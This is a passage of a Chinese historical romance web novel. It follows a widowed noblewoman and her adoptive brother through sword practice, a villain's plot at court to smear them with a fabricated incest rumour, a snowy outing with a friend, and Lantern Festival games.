难道他不乐意见自己?
酒后佯疯吐真言不是彼此之间不需言明的默契么?
玩不起?
坦白后的李宴方失去伪装,暴露无遗,叫她生出羞愤来,一瞬间从断绝关系想到搬离出府,自己是否要回旧宅落脚,又如何防止鄂国公府的报复。
一道阴云便笼罩在她眉间,她想远了,但走得更近了。
练刀的人早知她在,算计好距离方位,转身,收刀,摆出一个帅气的姿势,亮出一个明媚的笑容:“阿姊,新年如意,谨祝岁禧。”
是她想多了,阴云飞去,突觉轻松,两人默契不提昨晚事。
她回应:“萧凭陵,岁岁平安。”
这大概是最适合征人的祝词之一了吧。
李宴方开门见山,严词正声:“我找你有事。”
大晟人家大年初一多在家中团聚,没有外出拜年的习惯,多是在初二开始走动,加上姐弟两人并无亲属,这年根本无需走动。
于是,这个年被李宴方安排用来进行一项计划。
横刀收鞘,萧偃如临大敌,心道,他的阿姊不会要跟他断绝关系吧?如果断绝关系……就别怪他强取豪夺了!
“俗话说的好,不怕贼偷就怕贼惦记。”她眉一凝。
萧偃心一沉,又骂他?
昨天把他一脚踹下他挖的坑还不够?
李宴方继而道:“既然那木拓拿出和亲的说辞,就不得不稍作准备。明枪易躲,暗箭难防,他明着来,不过是水来土掩,若是暗着动手,我寻思着还是把剑术练起来,以防不测。”
原来让阿姊肃容冷脸的是这件事啊,他悄悄松口气,点头道:“就怕他丧心病狂,弄出什么大动静,有自保之力便能在危机之时多一份扭转的把握。”
他当然会竭尽心神护着他,但他绝不会阻止她做打算做的事。
“你闲着没事的时候来陪我练吧。”
这是重逢之后,李宴方第一次对他提出要求,还颇为忐忑,虽然紫电青霜身手亦是不凡,但她担心他们不敢对着她出真招。
“我现在就挺闲的。”他打量她身上穿的窄袍,便知她做足了准备,喜色漫上眉梢,真是开年好兆头,阿姊没打算和他分道扬镳。
李宴方转身去兵器架上取了一柄剑,拔剑,开刃剑。
她活动筋骨,进入场中,上一次握剑,已经是三年之前,她恍然,这空缺的三年里,她主动的、或被动的改变太多东西,在鄂国公府中,她不愿暴露会武的事实。
习武之人之间流传着一个说法:一天不练,自己知道;两天不练,老师知道;三天不练,对手知道。
三年了,手上的剑花颇为生疏。
萧偃心里有数,拔出横刀,敛了杀气,喂招予她。
她逐渐找回熟悉的感觉,开始一心二用:“你认为太后会答应和亲吗?”
萧偃架着她劈下的一剑,卸去力道,腹诽道,她来找自己果然只为正事,就不能推动一下彼此的关系么?
但他仍是老实说出猜测:“取决于北戎能给出多少利,但我认为她主观上并不想和亲。”
“与我所想一致,”李宴方将剑反手直挑,准备取他咽喉,“北征收回故土是大晟君臣与百姓多年来的夙愿,若有绝对的实力,只可能斩草除根,而非选择结秦晋之好。”
“但经那木拓一请,太后必会召集群臣商讨,”李宴方直上的剑势被他轻易躲开,横刀却在此刻黏上来,她侧身躲避,不忘继续说道,“这一次,应当会有不少主和派现身。”
萧偃不悦,眉目不舒:“我和范国公都没死,哪儿冒那么多主和派来。”
李宴方微微一笑:“主和的人,不一定真的亲北戎,而是自认为能在议和之后,从中获利。若北境就此开设榷场,茶马互市,有多少人可以在其中借职务之便谋财?而榷场,也不过是议和之后的其中一项政策。”
话点到为止,剑意却洋洋洒洒。
她的剑这时候逐渐逼近他的面颊,雪亮剑光照出他的剑眉,他的星目,他思索时的专注。
萧偃没有再反攻,即使这不难,他也在刀光剑影中用视线描画她的蛾眉,尤其是她在分析得失、剖陈利害那一刻的自信从容,光彩照人。
在他心里,她一直都聪慧锐利,只是她不知道罢了。
“阿姊,你说和那木拓暗中勾结的人这一次会以主战派还是以主和派的面目现于朝堂?”
“以常理来看,他与那木拓沆瀣一气,一定会以主和的面目暗中行事,但他若是怕暴露,则会成为主战派,给主战派使绊子……”李宴方深思之间,招式暴露破绽。
“但也还有一种可能,他如果是为了利用那木拓的话,那可能是真的主战派,这都取决于他的真正目的以及和那木拓达成的表面交易。朝堂上你要多留意。”她补充。
破绽被横刀轻易击破,只不过他的刀锋贴她太近了,他害怕伤到她,干脆放弃续招,一把将那柄百炼横刀丢出去。
她不料到他彻底放弃对抗,剑意勉强收住,但依旧自胸口向左肩划去,利剑走过,萧偃闪躲得恰到好处,那剑逼近他却未曾伤及肌肤,只是划开薄薄的衣衫。
霎时间,春光乍现,起伏强悍的肌理就此暴露于晴日阳光中,动武过后皮肤上渗出的薄汗,微弱的水色停留在光滑表面,乍然一望去,状似被绵细春雨洗过的崇山峻岭,生机勃勃。
离得那么近,李宴方怎么可能看不清楚?
简直是分毫毕现啊!
她皱眉:“你怎么不躲?”
这不是她第一次见到男子赤裸的上身,没脸红,只是一股异样在心头化作猫抓,挠得她想把那不听话的狸猫扫地出门。
后知后觉,这是不是对昨晚那一句话的回应?
她的戏言再度回响耳畔:“人家在我眼前
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晃悠,我既然没瞎,那肯定会看进去的呀。”
真是小人报仇,只在眼前。
“刀太锋利,我怕不小心伤到你。”他诚恳,诚实,诚心,一本正经。
一句话把她拉回眼前,好啊,真是个正大光明的好理由,她微怒:“今天先到这里,赶紧去更衣吧。”
收剑,转身,一气呵成。
“阿姊等等,其实我还想和你说一件事。”他一边捡起地上的兵器一边挽留。
李宴方头也不回:“不急于这一时半会儿。”
愠怒的阿姊步履如风,转眼已经走出校场,萧偃低头,薄红的脸上浮现出小人得志的笑容,他顺手挽个刀花,尾巴翘上天。
这一剑,是纯属计划之外的意外惊喜。
还好,阿姊只是小发雷霆,不是勃然大怒。
这件衣服他可要好好收藏起来,他踏着得意的步伐,返回屋内,唤来温水沐浴,披上冬衣。
而后出门,找阿姊,这件事虽非急事,但很重要。
年前,李宴方与萧偃二人已经去坟前给双亲祭扫,所以今日就不打算再度前往,但有一件关于爹的事情有了眉目。
李宴方也更换了一身常服,坐在厅中,抿几口热茶。
她听到熟悉的脚步声,头也不抬,用茶盖轻轻撇去浮沫。
他径自坐下,软声软气说道:“阿姊,真是要事。”
“你说。”
“我怀疑爹有事瞒着咱们。”
她的神色果然严肃起来,放下茶杯。
萧偃如蒙大赦,继续道:“我去军中之后发现爹教给我们的部分方法策略,必是由实战后才能得到的结论,爹能那么说,他八成真的上过战场。”
“可是当年,他只说自己是祖上小有积蓄,到他这一代给他捐了个小官做。我查过军籍,叫李兆安的并不少,但没一个能和爹的籍贯、年龄对得上。”
李兆安确实是个大众名,李宴方的疑惑浮现起来:“难道爹用的是假名应征?不过你怎么能确认他一定上过战场?”
光凭经验,只是起疑,这么大的事情还是得有真凭实据。
“所以,一停战我就派人去查了我的生父,崇州萧家,”他早已经在暗查,只不过那时没有结果,故不曾向阿姊透露猜测,“爹与我生父交好到能托孤的地步,我试图从生父那里得到线索,只不过一来一回,耗了些时日。”
“我的生父曾入伍,前往崇州边军。生父亡故后,爹把我接来洛都,和萧家了断关系。那一年还发生了一件天大的事——二次北征。”
萧偃眸中平湖无波,却藏尽心事。
李宴方回忆当年,爹说,萧父为他旧友,萧凭陵娘亲又去得早,小萧凭陵在大家庭里没人尽心照护,便接来收养。
这个“旧友”实则是“战友”,有过命交情的战友?
“萧家的人应当不知道你封侯一事吧?”
她问,心知萧偃对萧家并无感情,但现在要查证旧年真相,只怕还是得从萧家入手。
萧偃嗤笑,凤眸闪过一瞬寒意:“他们估计连我叫萧凭陵都忘了,又怎么会去追究萧偃就是萧凭陵这件事?”
“就算真去审问,他们也不见得能说出什么来,十七年过去,细节是否有遗忘不说,万一他们畏惧我今日地位、尝试修补关系,胡说八道岂不更是添乱?”
也有道理,她“嗯”一声,道:“那就只能从‘捐官’一事查起。”
见她愁眉紧锁,他故作轻松,与她玩笑:“早知道应该备些东西,今天去祭扫,问问爹就好了。”
李宴方无奈:“那你早些睡,指不定他会给你托梦,事情解决得更快!”
他挑眉笑笑,不再贫嘴,心叹:爹啊,你该不会真给我俩丢下个烂摊子吧?
26. 雪中
新岁之始,图谋暗算亦有更新。
但直到年初六,那木拓才见到陆朴。
“想见国公爷一面当真不易。”那木拓明明像在说风凉话,可语调却和煦。
陆朴早知此人善于伪装,多半是真不满他失约,不卑不亢地道:“王子有所不知,我朝年节多往来繁忙,我抽身不易,还请王子多担待。”
“是我等北戎蛮夷不懂你们新春良辰价值千金,那国公想不想让北戎自归王化,同庆一节?”
那木拓笑得满面春风,把这国与国之间的大事,说得如材米油盐般轻巧。
“还请王子明示?”陆朴正色。
那木拓品了口江南的贡茶,朗声道:“成和亲之策,助我北归称王,我即位后可向大晟称臣。公爷,我可比恶狼般的父兄叔伯们好说话多了。”
现在开出的条件比最初的清晰许多,陆朴无法不动心,他想除掉太后,取而代之。可他也明白,得手后必然造成朝局内部动荡,若此时北戎南下,则会叫他顾此失彼,陷于危难。
若那木拓真能稳定北戎,不失为一个极好的盟友,他道:“王子真心与我朝公主结为连理,倒也能化干戈为玉帛,免去边境战乱之苦,不知王子心悦何人?”
他故意卖关子:“这就关系到我要请国公爷帮我办的一件事了。”
有些事,他的人不便深入探查。
“愿闻其详。”陆朴不置可否。
“还请国公替我查一查萧偃的身世,听说他是李父从外头接回来的孩子,谁知道是不是李父在外头留的种?他心悦其义姊,若是叫他知晓二人血脉相连,那这洛都的茶肆里就有个能谈上十天半个月说不尽的惊天丑闻。”
“若不是,”那木拓嘴角流出恶毒的讥笑,“国公当知这脏水泼上去就洗不尽了。”
他家中长辈都死去,大可尽由他们捏造事实,掩盖真相,杀一杀萧偃的威风。
陆朴愕然,本以为他因除夕宴游对萧偃的不满达到巅峰,却没料到他存了那等心思。刚谈及和亲,那木拓便要强改李宴方与萧偃二人关系,设计萧偃,可见那木拓真正在意的人是李宴方。
陆朴轻嗤,这前儿媳当真是红颜祸水,遗毒千年。
“这件事不难,我答应王子。”
“有劳。”
陆朴见那木拓谦虚有礼的样子,乍一看,真能迷惑旁人啊。
那木拓在陆朴离去后,凶戾本色尽显,他本觉得不必设计一个将死之人,可他想起萧偃那得意的神色就难以咽下惜败之耻,萧偃对李宴方的爱意太明显,激起他对李宴方的征服之欲,他要叫萧偃狼狈出局!
又或者亲眼目睹萧偃变成一条乱.伦.纵.欲的野狗。
只余他一人的屋内回荡起诡异邪恶的笑声。
*
昨日李宴方让照清去寻张娘子替她梳头。
张静真能凭一张利口、一双巧手在洛都后宅内混出薄名,她的梳头技艺自然不差。
镜中人青丝扰扰、光可鉴人,在张静真的巧手运作下,简约典雅、高挺秀举的发髻成型,张静真替她簪上饰品,发自内心感叹:“乡君天生丽质。”
那件事发生不久后,张静真得知了李宴方与萧凭陵如今的身份,心里惴惴,可李宴方对何婆婆与自己的态度,又让她渐渐宽心。
李宴方是个不因富贵而忘本的人。
镜中人接过张静真的话:“是张娘子的妙手化腐朽为神奇。”
“乡君抬举了。”
“我找张娘子是有事相求。”李宴方终于切入正题。
张静真立即想到去岁年末她对李宴方说的话,毫不犹豫地道:“不敢当,请乡君吩咐。”
“此事涉及机密,恐有生命之忧。”
张静真念及何梦华,坚定道:“区区一命,不足挂齿。”
“北戎前来议和,有议亲的打算,我唯恐自己在备选之列,故希望娘子能帮我打探这洛都之中谁家主和,谁家主战。其中可能还有与北戎勾结的内鬼,要小心分辨,你若行事,谨慎为上。”
重任落在肩头,沉甸甸,她点头。
“如需相助,传信于照清。”李宴方补充。
照清送张静真离去,李宴方起身准备赴约。
今日请张娘子来,谋事是其一,而梳头是其二,她有一位许久未见的朋友今日邀她同游,她开心应下。
*
位于宫城东侧的金澜池本为皇家园林,几年前,太后开恩,一年之中挑选良辰吉日对百姓开放,由此,金澜池的琼林银浦、玉殿琉宫染上人间烟火的颜色。
此时正值雪后,湖上玉桥似飞虹,水中仙亭如秀峰,无暇霜雪轻落其上,行人置身而望去,恍若误入瑶池仙岛。
湖边观景亭中茶炉火明,泉声咕嘟,一旁的赵凝清头戴风帽,身披大氅,露出石榴红长裙,身后三两仆从相伴,她见李宴方至,眉开眼笑:“宴宴,这儿!”
赵凝清出身书香门第,世家名门,父亲正是当朝的礼部侍郎。
她虽是名门闺秀,却从不傲下,三年前对于高攀豪门大族的破落户李宴方从未白眼相看,反倒与她在设色作画上颇有共鸣,因此引为丹青知己,进而无话不谈。
她年岁较李宴方小一些,但从不称她为姐姐,“宴宴”叫个不停,李宴方也就随她去。
李宴方吩咐照清把礼送上,自己开口道:“凝清,如今可大好了?令爱如何?正值新岁,赠她些小礼物。”
赠予未满周岁的小孩的礼品,无非就是写金银玉器,求个平安康健,不算十分贵重,但总归是心意。
赵凝清谢过,笑道:“你要是送给我,我可就拒绝了,可是送给麟儿,我可不帮她拒绝。”
她拉着她坐下,给她沏了杯茶:“坐完月子大半年,早恢复得差不多。”
“当真?我还想着不如到楼宇内坐下,避开寒风。”
“真的,不信你摸我的手,可暖和。选在这儿,我是觉得亭中看雪格外有情致。”
赵凝清说着便摸过来,一触碰到李宴方冰凉的五指,她惊道:“宴宴,你的手怎么比我的还冷些?”
“来得时候有些急,吹了风,”李宴方摇摇头,示意她莫担心,又问,“今日可是要观雪作画?”
赵凝清想起正事,换了一副认真的神情。
“先前陆世子离世,公府料理后事一切从简,不设灵堂供人追悼,后来你前往上清观清修,我暂时无法登山,且临近年关,便想着年里总要见你一次。你……如今可还好?”
“你放心,”李宴方拍拍她手背,望向她担忧的双眸,“我那儿能不好呢。”
“你不沉湎于旧事那就最好,恰好上元不日便至,我邀你上元同往,俊俏郎君遍地走,我助你寻觅第二春,你来不来?”她说完,扬了扬秀丽的下巴。
李宴方忍俊不禁:“原来你找我就
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为这事儿?”
她嘴角是噙不住的笑意与感激,虽然她并非一定要再嫁,但能考虑到这码事的,必是好姐妹无疑。
赵凝清嗔道:“要不然呢?还以为我依旧是找你数落那不通文墨的夫君呐,他再怎么数落也就那副模样,朽木不可雕,罢了罢了!”
“寻觅第二春这话从你嘴里说出来倒也不稀奇,”李宴方支颐含笑看她,“某人竹马是上午外放离开洛都的,她是下午喝得不省人事的,待到晚上,对在道上巡逻的新晋马军司都虞候大发酒疯……”
“结果呢,三年过去,人家成了你夫君,如今更是你掌上明珠的亲爹。”
“好一个欢喜冤家,千里姻缘一线牵,”李宴方笑吟吟补充,“该放下就放下,该动手就动手,这找第二春之事,确实得向你取经。”
赵凝清朱唇抿作一线,摆摆手,故作不在意:“不提当年勇。宴宴,说正事,那你要不要和我逛上元灯会?”
李宴方点头,上元盛景许久未能得见,凑凑热闹也好。
赵凝清见她答应得干脆,又问:“那你家那位萧侯呢?你要不要顺便问问他?我家那位武夫可是对他仰慕已久。”
李宴方想起萧偃,神色微沉,要不要告诉他这件事?
她在心里盘算起来。赵凝清的丈夫贺成洲为禁军马军司都虞候,他年纪轻轻便位列中级统领之位,想必能与萧偃相谈甚欢,而且上元相见同游灯市也谈不上什么结党营私,当不至于引人注目。
回去后告知萧偃,由他做决定好了。
赵凝清本以为她为难,握住她的手,宽慰道:“若是萧侯忙于军务,倒也罢了,咱俩逛去,让贺成洲给我们当护卫,反正那天他不当值,壮劳力不用白不用。”
“我回去问问,到时给你消息。”李宴方干脆答复她。
正月十五,军务怎么会繁忙?赵凝清既然体贴地给她台阶下,那她可不能辜负她一番好意。
两人闲聊漫步,览遍金澜雪景,不知不觉日影移斜,在金澜池的南门出口,已有人在等待着赵凝清。
便是好姐妹口中那不通文墨、朽木难雕的一介武夫。
那人有礼:“见过乡君。”
贺成洲生的身长八尺,龙眉豹颈,风姿不凡,与赵凝清正是相配。
赵凝清一走近,他柔了眉眼,低声问她冷不冷、饿不饿、累不累,她仰首摇头,整个人无意识地往他怀里靠。
好姐妹突然想起有人在看着她,她慌忙和李宴方道别,在李宴方送别的目光中上了马车。
赵凝清一行人已走远,李宴方突然明白为何她会急不可耐地问她要不要找新人,除开赵凝清性情直率,行事干脆,绝不在一棵树上吊死,还有一层。
真正处于相爱甜蜜氛围中的赵凝清也许早就发觉她与陆韫之只是相敬如宾,她与陆韫之再如何精心扮演也做不到赵凝清与贺成洲一般,真情自然流露。
就连赵凝清口中的“数落”也不过是只因贺成洲出身武官之家,在念诗作画上实在没有天赋,无法与她同频,但他愿意为她学、为她改,已算是用心之举。
如今,赵凝清早已放弃这项要求,改与李宴方追求此道。
在车厢内,李宴方微不可查地叹一声,原来自己过往中精心掩盖的千疮百孔,早被人瞧出端倪。
这瞬间,一个想法极轻、极快地掠过她脑海:
要是也有个人来接她就好了。
27. 射覆
元宵之夜。
月满冰轮,灯烧陆海,人踏春阳。(注1)
洛都城的天街一改平日里的威严广阔,灯火、娱戏、摊贩连绵不绝,热闹鼎盛。
一辆马车自干道缓缓向天街驶去,车内李宴方与赵凝清欢声笑语,车外驾马的两名男子一见如故。
贺成洲抱拳:“萧侯越马关山,攻城略地,实乃吾辈之楷模。”
“贺将军统管帝都内城,为国之栋梁,护百姓安康,”萧偃回礼,笑颜舒展,“今日为佳节游乐,不如你我便以兄弟相称?”
萧偃此话真心诚意,若不是赵凝清力邀,他的好阿姊未必肯定同意上元出游,更不要说带上他一同出门,光从这一点上,他可是由衷感谢这对佳偶,省得他厚脸皮开口了。
上元佳节,意义非同凡响,古有“但愿暂成人缱绻,不妨常任月朦胧(注2)”歌咏真情,这节日他若能与阿姊同往,那才真是不负良宵。
贺成洲不知萧偃所想,只觉萧侯果真爽快人也。
萧偃年纪比贺成洲小两岁,但他爵位高,他既然这么开口,贺成洲自是却之不恭,一口一个“贤弟”。
马车内的赵凝清放下帘子,与李宴方道:“真如你所料,两人相谈甚欢,就是不知道他们在嘀嘀咕咕什么。”
李宴方未作过多猜测:“他们同为行伍之人,想必可谈之事不少。”
“大好佳节,他们不会要在火树银花下从天街巡防,人力调配说到东南西北,边关局势吧!”
赵凝清不由得有些无奈。
李宴方觑她神情,笑笑,赵凝清大约有过不少类似的经历。她当初听赵凝清数落贺成洲,也不认为那算什么大事,可现在发觉这类不解风情的事情发生多了,总归是令人有些失望。
铁树不开花,媚眼给瞎子。
李宴方摇摇头,故作正经地问:“那今夜你找第三春?找一个会同你风花雪月的?”
赵凝清撇嘴,玩闹似地拍她肩背,拍得闷声连连,她忙澄清:“我可没那么说,宴宴,你也忒坏!”
两人嬉闹一会儿,贺成洲在外轻叩车壁,提醒车内二人。
赵凝清会意,掏出两面喜庆的面具,元宵有嬉闹的习俗,但对于一些不愿意暴露真实身份的人来说,这一习俗恰好能满足目的。
李宴方戴上后与她一道下车。
一下车就看到人群中的两名身姿挺拔的男子,脸上也同戴面具,只是二人浑身气势凛然不可犯,让朱漆描画的节庆面具多了几分威严凶狠。
面具下遮挡萧偃情意流连的目光,可那情思在灯火下悄然飞渡,流淌至李宴方眼前,她装作不知,拉过赵凝清,三两步小跑入天街,沉浸于笙箫鼓鸣、玉壶轮转的吉庆氛围中。
一入主街,孩童们举着鱼龙灯往来嬉闹,行人成双成对,顾盼传情。
赵凝清抱过李宴方的臂,在耳边悄悄问她:“快,开始搜索目标,喜欢什么样的,我多一双眼睛替你找。”
她又献宝似地掏出一沓色彩纷呈的丝绢,得意洋洋道:“我已提前准备好丝绢,看到能入眼的就‘不慎遗落’一块,剩下全凭缘分。”
好姐妹,你招真多啊。
“我们随便逛逛就好,守寡真不错,真心话。”
李宴方赶忙出言制止,她本意是与赵凝清同游,享良辰美景,顺便促成萧偃贺成洲两人结交,至于在街头寻觅什么第二春纯属戏言。
却不料赵凝清看热闹不嫌事大,趁她不注意塞了一块到她袖中。
李宴方不曾察觉,人潮汹涌,她回头,担心人群将她们与他们冲散,却见萧贺二人不远不近地跟着,安了心。
她看向赵凝清,本欲问她为何不担忧分离,但转念便得出答案,赵凝清必然是知道贺成洲会对她紧追不放,这是二人的默契,也是他给她提供的牢靠的安全感。
霎时间一道雷电在脑海中霹雳而过——其实萧偃于她也一样。
赵凝清低声劝解:“守寡这种事说说就好,哪怕不成亲,也要自由自在,背着个苦凄凄的名声作甚,呸呸呸!”
李宴方握紧她袖中的手,轻声道:“好好好,就知道你最关心我,前方有射覆,我们瞧瞧去。”
射覆本为占卜游戏,以易经卦象为提示,让人猜测藏在瓯盂之下的东西为何物,射者为猜测的一方,覆者为出题的一方。
在射覆成为休闲游戏之后降低了难度,不再需要通晓奇门八卦,而是覆者给出提示与线索,再由射者去猜测,这一出,考验射者是否机智,所学是否深广。
眼前便是射覆之地,此地本是摊点,售卖木雕,店主为揽生意,开设射覆之局,赠送射者猜中之物,也算是将自家木雕广而告之。
四人便挤进热闹的人群中,贺成洲在摊上一扫,一眼相中摆在后头的一方小童骑马木雕,那小童开怀畅意,小马憨态可掬,足以见店家手之巧。
他乐滋滋地对着赵凝清说:“麟儿肯定喜欢这个,咱们买一个吧。”
赵凝清一眼识破:“到底是她喜欢还是你喜欢,怎么什么都要打着她的名义买?你若是能猜中这局,便买。”
“你别为难我。”贺成洲无奈辩解,射箭他游刃有余,射覆他是一窍不通。
“你不行,你若去求我的好姐姐让她帮你猜,也成。”赵凝清玩笑道。
萧偃在一旁,暗暗羡慕其二人的亲密无间,出言替贺成洲说话:“射覆于阿姊易如反掌,不如帮帮那位可怜的新晋父亲。”
李宴方想起赵凝清的“朽木难雕”的评价,不由得失笑,应下来。
此时,恰是店主覆毕。
店主敲起锣,大喊:“射覆射覆,中着好礼相送!一字为‘缀’,请客官们射之!”
一副小画卷展开垂下,写着个端正的“缀”字。
缀字生僻,诗文中较为少见,这便对射者涉猎范围要求极高,店家话音刚落,摊点周边的围观人群陷入沉思。
李宴方目光流转,从周围的景物和店家的各色木雕中寻找线索,字是提示,景亦是提示。
不多时她心中便有了猜测,胸有成竹道:“梅。”
而与此同时,不远处传来温朗低沉的男声:“是梅否?”
两人同时说出答案,人群中爆发一阵小骚动,有人在私语。
“这也能猜出来!”
“左边一位娘子,右边一位公子,真是心有灵犀。”
“上元佳节,良辰美景,也算是良缘。”
闲言碎语涌入萧偃耳畔,薄怒微生,他冷声道:“店家,不知中否?”
这一刻他倒是希望阿姊失手。
被点名的店家窘道:“两位贵客都猜中答案,鄙人先告个罪,这覆下只有一件小礼,且独一无二,纵然鄙人再雕琢也做不出一模一样的。”
“不如再稍加一步比试,两位贵客博学多才、大人大量,还请提笔,若能写出这一字的诗文缘由,则赢得此物。”
“可。”李宴方点头,胜负之欲突然被店家激出,这可不仅关乎木雕归属,还在于要给自己正名,她并非瞎猜蒙对。
那男子脾气温和,不愿为难店家,在不远处颔首。
长桌上,两幅长卷各自展开,笔墨伺候。
这时,萧偃眼风凌厉扫去,看向那半路杀出的程咬金。
那“程咬金”脸戴面具,头顶玉冠,身披雪白大氅,临桌提笔,自有一番君子温润如玉的闲雅大方。
他顿时戒备起来,早年,阿姊在不知情的状况下选择陆韫之,会不会她就是喜欢那一类儒雅俊美的才子?
呵,男狐狸精变作人样,约莫也就是这样子吧。
俄顷,长卷上浓墨流淌,众人看去,二人所写诗文亦是一模一样!
两人写的均是:苔枝缀玉,有翠禽小小,枝上同宿。(注3)
这首姜夔的词作描写的便是梅花。
一时之间喝彩惊叹连连,连赵凝清都真心实意地为此抚掌赞赏。
萧偃气极,自己当年怎么就没好好钻研,在这一刻与她心意相通?
偏偏叫那半路杀出的野狐狸在这儿丢人现眼!若是这不要脸的野狐狸打蛇随棍上可如何是好!
他瞬时想起麟德殿上的经历,射礼再刁钻,他也得心应手,可这……原来他也有被人狠狠比下去的时刻。
场上,赵凝清诚心赞叹,贺成洲似懂非懂,萧偃强忍怒火,而李宴方淡淡一瞥那人,那人也朝她看来,对她微微一礼,似是赞赏,似是敬佩。
李宴方颔首致意,面具下的脸浮上浅浅的笑。
可没人注意到汗流浃背的店家,这下该如何收场?
那如玉琢成的人瞧出店家的无措,缓缓开口:“先前,那位娘子答案笃定,而在下心存疑虑,店家当判娘
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子胜。”
店家如蒙大赦,两人都不欲得罪,现在其中一方开口给台阶,店家自是连连点头,将藏在覆下的精雕山石斜梅一座双手奉予李宴方。
李宴方尚未出手,一旁的萧偃先替她接过,像店家道了谢,小声在她耳边道:“阿姊,你好像不喜欢木雕吧?不如做个人情,一同送给你姐妹家的小千金?”
野狐狸让出来的东西,怎么能带回家?就算带回家,能有万象芳华好?
他几乎是忍受不了一刻,把这木雕当烫手山芋,火急火燎地送出去。
长案下,千重灯火照不到的黑暗里,他轻摇她的衣袖,像祈求,像讨好,得寸进尺地去钩她因提笔而微凉的五指,好像只是单纯地给她渡上暖意。
干燥、粗粝、无害,像小时候摸过的狗尾巴草,挠得人痒痒。
可这突如其来的痒,不光痒在皮肤,更痒在心头。
太暧昧了,她脑袋里突然蹦出这个词,词语妥帖得叫她羞愤赧然。
这时她该庆幸脸上覆着一张夸张的面具,可以藏下不愿意吐露的秘密,隐去一瞬间荡漾的情思。
“你……”李宴方欲言又止,终是道,“都由你决定吧。”
她让他全权处置,本就是存着安抚之意,没想到此人得了颜色便要开染坊。
萧偃贴过来,在她耳边小声说:“我看那人心思不正,他若真大度,何必在店家决定加试后再说?一开始店家为难时,他便该替店家解围,只怕存了别的思量。”
“你对这些事情倒是敏锐。”她阴阳怪气,不知可否。
她想,如果没有面具的阻隔,他温热的气息会再度包裹她的耳垂,就像重逢那日。
“阿姊生气了?”
什么方面?抓潜在情敌方面吗?他笑笑,不直言。
“没有。”
李宴方肘推了他一下,示意他别再闹,萧偃在打闹中嘻嘻哈哈地退后,李宴方生气地拂袖,抬步要走,却不曾注意到袖中被赵凝清塞进去的丝绢在此时悄然飘落。
这边两人打打闹闹,那边两人情状完全不同。
最高兴的当属贺成洲,他记得先前的约定,顶着赵凝清的嫌弃,掏钱买下小童骑马木雕。又从萧偃手上接过“真心相赠”的山石斜梅木雕,放入店家赠送的礼盒中。
赵凝清瞧他那得意样,不由得泼了些冷水:“下次你要是自己赢回来,大可以高兴些,现在还不谢谢我的好姐姐?”
贺成洲说着便对李宴方行了个正儿八经的礼,李宴方忙笑着摆手,小声对赵凝清说:“给他留点面子吧,晚上回去再说这些。”
“晚上回去谁还会说这些呀?”
赵凝清似有弦外之音,李宴方会意,两人不约而同发出窃笑,手拉着手离开摊点,被留下的两个武夫愣怔一息,立即跟上。
离去之时,他们一先一后瞥过那位博学多才、风流倜傥的射覆之人。
行至人影再也瞧不见,贺成洲终是小声发起牢骚。
“书生,酸腐。”赵凝清那跑路竹马便是书生模样。
“文人,迂陈。”李宴方那亡故前夫便是文人做派。
二人对视,捕捉彼此面具下锐利的眸光,莫非他也?
贺成洲:“顽固。”
萧偃:“懦弱。”
贺成洲:“斯文败类。”
萧偃:“附庸风雅。”
贺成洲:“文人相轻。”
萧偃:“文人无行。”
贺成洲:“书生误国。”
萧偃:“百无一用。”
“贤弟,想不到你我竟是知音,相见恨晚!”
“仁兄,此时此刻,当酒逢千杯!”
贺成洲:“可叹我等不过粗鄙莽夫,但胜在稳妥可靠。”
萧偃:“但胜在能乱中谋定。”
贺成洲:“不可妄自菲薄。”
萧偃:“不可自暴自弃。”
处境相同的两人恨不得相拥而泣,当即结拜,而不远处的李宴方与赵凝清转过身,目不转睛地盯着絮絮叨叨的两人。
赵凝清心中怪异,但仍是好声好气:“走吧,临近玉带河,我们去放河灯祈福。”
注1出自元代佚名《折桂令·元宵》。
注2出自宋代朱淑真《元夜三首·其三》。
注3出自宋代姜夔《疏影·苔枝缀玉》。
28. 字迹
玉带河穿城而过,每每上元灯会,秀水两岸绿树都会被装点上彩灯红绸,水中河灯随水浮游,远远望去,玉带成了金带。
河灯驱邪、祈福、许愿已是不知道何时流传下的习俗,两岸不少商贩费尽心思巧手扎出一盏盏奇异美丽的河灯,等待游人的青睐。
“来都来了,我们也去放几盏河灯玩玩。”赵凝清提议。
“好啊,一起去凑个热闹。”
李宴方见河岸柳树下摊贩成行,小贩兜售的河灯形状各异,既有常见的莲花,又不乏推陈出新的造型,她兴致上来,拉着赵凝清过去一家家看。
竹竿搭起的货架上挂一盏盏彩纸灯笼,或为动物,或为花朵,其中一艘船型纸灯略显特别。
舴艋小舟,风帆正扬,舟上鲜花盛开,仔细看去,烛火原是藏在花中,以竹笼相隔。
她能预见到,待烛光点亮,这艘小舟会绽放出姹紫嫣红的光晕。
“店家,劳烦取小舟来给我看看。”李宴方遥指。
那店家见来了衣着不凡的四位贵客,自身后货架取下舟灯,忙热情招呼:“娘子可看得上,临近打烊,买一送一。”
“好啊,”赵凝清挑来挑去,已有心仪之灯,“替我将那只虎头灯取下来。”女儿属虎,她喜欢。
习俗嘛,总要参与一下,两个武夫也随便挑了灯,在长案上取笔题字。
萧偃早在李宴方挑灯的时候就想好写什么,他的心愿,绝大多数都能自我实现,唯有一心人,难求。
他提笔写下“海宴河清”四字,他本欲再写“八方靖宁”。
可这太嚣张,他怕被她发现,不敢。
也写好的贺成洲凑过来,见灯火下劲利清健的四个大字,赞叹道:“不是说好一起做武夫,你怎么偷偷练起字来?”
“我从小就练阿姊给写的字帖,练不好要洗碗做饭,你说我是不是得好好练?”
萧偃笑着回应,其实贺成洲压根没问他练的是谁的帖,但得意的尾巴不经意间就会摇晃起来,巴不得招摇过市。
贺成洲无知无觉这一点,笑道:“看来我输在小时候洗碗做饭多了!”
贺成洲的字只能算横平竖直,端正大方。
萧偃既希望他不懂这点小心思,又希望他懂。
生命历程里有个人相伴许久,影响深刻,他一生都改不掉的字迹与她密切相关,随时随地都能用一张纸、一支笔记起她,他好想大张旗鼓地叫旁人知晓这一层隐秘的关系。
风将这些对话送到李宴方的耳畔,她瞟了一眼萧偃写的四个字,本要提笔写下的“海宴河清”已落笔一个“海”字,她忙改写为“海内升平”。
光明磊落的人坦坦荡荡,心里有鬼的人才会遮遮掩掩。
四盏河灯在泛着灯火金光的水波中缓缓逐流,萧偃选了另一艘船型河灯,在满江莲花芍药、金虎白鹅的河灯中,两艘小船格外地突出,没有芳华的绚烂,没有动物的憨态,只是一前一后浮着水波,悠悠扬扬远去。
月斜柳梢,渐西沉,一行四人在坊市前道别,各自归家。
*
